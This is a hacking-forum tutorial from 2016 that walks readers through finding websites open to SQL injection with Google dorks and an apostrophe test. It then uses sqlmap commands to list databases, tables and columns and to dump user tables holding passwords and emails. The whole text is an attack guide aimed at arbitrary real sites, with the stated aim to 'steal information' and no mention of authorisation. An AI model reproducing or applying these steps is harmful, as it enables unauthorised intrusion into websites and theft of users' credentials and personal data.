[HOT TUTORIAL 2016] How to hack a website! [SQL Injection - Kali Linux]

Greetings, Hackforums!

My name is Silentkillar, and in this thread I will try to make a detailed and understandable tutorial on how to hack into a website's database, with sqlmap. I will try to explain as much as I can, of what I am doing. So let's just get started.

Before we start
Before I start this tutorial, I wanna recommend using Kali Linux on a virtual machine, as I find it the most useful. We will be using a tool called sqlmap, which is in Kali Linux. You can ofcourse download the tool from their website instead, if you don't want to use Kali. Sqlmap is an automatic SQL injection tool, which I personally prefer instead of doing a manual SQL injection, because I think it's faster, and you don't really need any skills in using codes. I think it's simple and easy to use! But let's get down to business!

Finding a vulnerable site!
To find a vulnerable site you will need some dorks. You can write a dork in google search, to find something specific. In our case we will be attacking a .php site.

A dork to find vulnerable .php sites could be:

Code 
inurl:catalog.php?id=

inurl:category.php?c=

inurl:search.php?id=

inurl:index.php?id=

You can try to type one of the dorks above in google search.

Whenever you found a website with one of these dorks in their url, you can test if it is vulnerable or not. To do that make an apostrophe in the ending of the url

Example:

Code 
vulnerablesite.com/category.php?c=23'

When you wrote a: ' (apostrophe) in the link, hit Enter.
If a MySQL error appears somewhere on your screen/website, you've found a vulnerable spot on the website!
But if a MySQL doesn't appear, it isn't vulnerable. So just keep looking on google untill you find a vulnerable website! :)
Now that we found our vulnerable spot, we're ready to move on to the next step!

Getting their database names!

Now we need to get in their database and get some goodies of information, which is the exciting part! ;P. So boot up Kali Linux and open a terminal!

When you've opened a terminal, type in:

Code 
sqlmap -u YOURVULNERABLEWEBSITE --dbs

So what does this mean and do you ask?
Well, first we tell our terminal that want to use sqlmap.
Then we use the option "-u", I usually like to tell that it's the option for using a link, which we are, and that it stands for "URL" ;D.
Then you paste in your vulnerable website, example:

Code 
vulnerablesite.com/category.php?id=1

Then we use the option "--dbs". When people ask why I do the double dashes, I tell them that a single dash is when you know some information already and want to find out more about what's inside that information. And the double dashes is when you want to find out something. And in our case, we want to find out the names of their databases, so we use double dashes and then "dbs" which stands for "databases"

After you've hit enter alot of text will start being written. If any white texted messages pop up, you usually wanna type "y" for yes if you wish to continue. You just wait untill it stops and looks like this:

This means that we have succesfully found the websites databases!
Usually there's a database called "Information_schema", and there's no useful information in there, so try some of the other databases you might have found.
Congratulations on your first hacked website.
But we're not totally done yet. What do I do now you ask?.
We steal information! Which leads us to the next step!:

Finding the tables of the databases!
To find the tables of the databases you will need to write some more on the code you wrote earlier.
So type hit the up-arrow on your keyboard to bring up the code you just wrote before. Then we need to edit it a bit.
Change it to this:

Code 
sqlmap -u YOURVULNERABLEWEBSITE -D DATABASENAME --tables

We basicly edited the "--dbs" to "-D", and after "-D" we put the database name. Remember my little rule about the single/double dashes? If not, go read it again! :). Basicly we know the database now, which means a single dash. But we want to find out the tables, and because it's something we wanna find out, we do double dash and then tables. Here's a little example of how the code could look now:

Code 
sqlmap -u vulnerablesite.com/category.php?id=1 -D database123 --tables

So hit enter when you have written it in. Alot of text will appear, which is because it's working ofcourse xD.. But you just wait untill it finished and you can see the database names!

You've succesfully found the tables inside your chosen database. Now you wanna look for some interesting tables. In the picture above, then in my case it would be the table "user". There might be user informations like usernames, passwords, emails, etc. So choose a table that looks interesting, and we'll be moving on to the next step!

Finding the columns of the tables!
We'll be finding the columns of the table we chose to be interesting. So hit the up-arrow once again to bring up the code you just used before. Now we need to edit the code a bit, just like the last time.
It will now look like this:

Code 
sqlmap -u YOURVULNERABLEWEBSITE -D DATABASENAME -T TABLENAME --columns

We basicly edited the "--tables" to "-T". If you remember my little dash rules, then single is when you already know the information, and double is when you wanna know somthing. But since we already know the table name, it will be a singe dash.
Then after "-T" we wrote our table name.
After we wrote our table name, we wrote "--columns". We use double dash because we wanna find out something. This code could look like this:

Code 
sqlmap -u vulnerablesite.com/category.php?id= -D exampledatabase -T user --columns

Hit enter, and it will start working again. After a couple of seconds you should be able to see the columns!

We now have found our columns, and as you can see above, I've found ALOT of interesting things like email, ip, moderator, password and username. These could be interesting to know what's inside! So let's move on the the last step!

Getting the informations inside the columns
So we found some pretty interesting things in the tables. Now we want to find out what they contain. So let's hit the up-arrow button once again and change the code a bit.

Code 
sqlmap -u YOURVULNERABLEWEBSITE -D DATABASENAME -T TABLENAME -C COLUMNNAME --dump

So we changed "--columns" to "-C", I guess and HOPE you understood the little dash rule, so now it will make sense why we changed it! :D.
Then we wrote our column name.
And then we wrote "--dump"
It would look like this:

Code 
sqlmap -u vulnerablesite.com/category.php?id= -D exampledatabase -T user -C passwords --dump

So hit that enter button, and get your wanted informations!
It will again start working, and after some seconds your wanted information comes up.

You succesfully got into a websites database and found some information!

Hope you learned something!
Thanks for reading!
- Silentkillar